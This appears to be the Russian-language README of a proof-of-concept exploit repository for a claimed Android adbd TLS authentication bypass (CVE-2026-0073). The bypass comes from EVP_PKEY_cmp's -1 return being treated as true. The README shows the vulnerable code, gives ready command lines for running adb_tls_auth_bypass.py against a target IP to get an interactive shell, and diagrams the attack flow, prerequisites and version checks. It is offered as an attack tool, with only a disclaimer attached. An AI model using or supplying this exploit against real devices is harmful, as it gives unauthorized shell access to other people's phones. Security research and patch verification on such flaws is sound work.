
CVE-2026-0073 — Обход аутентификации TLS в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+.
EVP_PKEY_cmp() → несанкционированный доступ к ADB shellКритический обход аутентификации в демоне ADB Android (adbd) позволяет любому атакующему в локальной сети получить полный shell на целевом устройстве без авторизации пользователя.
Уязвимость существует в adbd_tls_verify_cert() внутри daemon/auth.cpp, где EVP_PKEY_cmp() используется как логическое значение. Когда сохранённый ключ является RSA, а представленный TLS-сертификат клиента содержит не-RSA ключ (EC P-256 или Ed25519), EVP_PKEY_cmp() возвращает -1 (несоответствие типов), что является истинным в C/C++, поэтому authorized = true.
// Уязвимый фрагмент кода в daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← ОШИБКА: -1 истинно!
authorized = true;
}
pip install cryptography
# Интерактивный shell
python adb_tls_auth_bypass.py <IP_ЦЕЛИ> <ПОРТ>
# Выполнение одной команды
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Подробный режим (полный протокол трассировки)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
По умолчанию скрипт автоматически перебирает EC P-256 → Ed25519 → EC/TLS 1.2, пока один из вариантов не сработает.
Атакующий Цель (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (открытый текст) ────────►│
│◄─── STLS (запрос обновления TLS) ─│
│──── Ответ STLS ──────────────────►│
│ │
│════ Рукопожатие TLS 1.3 ══════════│
│ (представлен сертификат клиента EC P-256) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 истинно → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (информация об устройстве) ─│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (ввод/вывод shell) ─►│
│ │
[ПОЛНЫЙ ДОСТУП К SHELL] │
| Требование |
|---|
⚠️ Важно: RSA-ключ должен находиться в
/data/misc/adb/adb_keys, который заполняется через сопряжение отладки по USB (подтверждение диалога «Разрешить отладку по USB?»). Сопряжение беспроводной отладки (adb pair) сохраняет ключи в другом месте (adb_known_hosts.pb) и НЕ удовлетворяет этому требованию.
adb shell getprop ro.build.version.security_patch
Протестировано и подтверждено на:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Этот форк включает несколько улучшений:
select() для кроссплатформенной поддержки-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Основной скрипт эксплойта
└── README.md # Этот файл
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте надлежащее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого программного обеспечения.
EVP_PKEY_cmpЕсли это помогло вашему исследованию, поставьте ⭐
Возвращаемое значение EVP_PKEY_cmp() | Значение | Истинно в C? | Результат |
|---|
1 | Ключи совпадают | ✅ | Авторизован (корректно) |
0 | Ключи различаются | ❌ | Отклонён (корректно) |
-1 | Несоответствие типов | ✅ | Авторизован (ОШИБКА) |
| Детали |
|---|
| Параметры разработчика | Включены на целевом устройстве |
| Беспроводная отладка | Включена (или ADB через TCP на порту 5555) |
| Сохранённый RSA-ключ | Устройство должно быть сопряжено через USB хотя бы один раз (/data/misc/adb/adb_keys) |
| Сетевой доступ | Атакующий должен иметь доступ к TCP-порту adbd |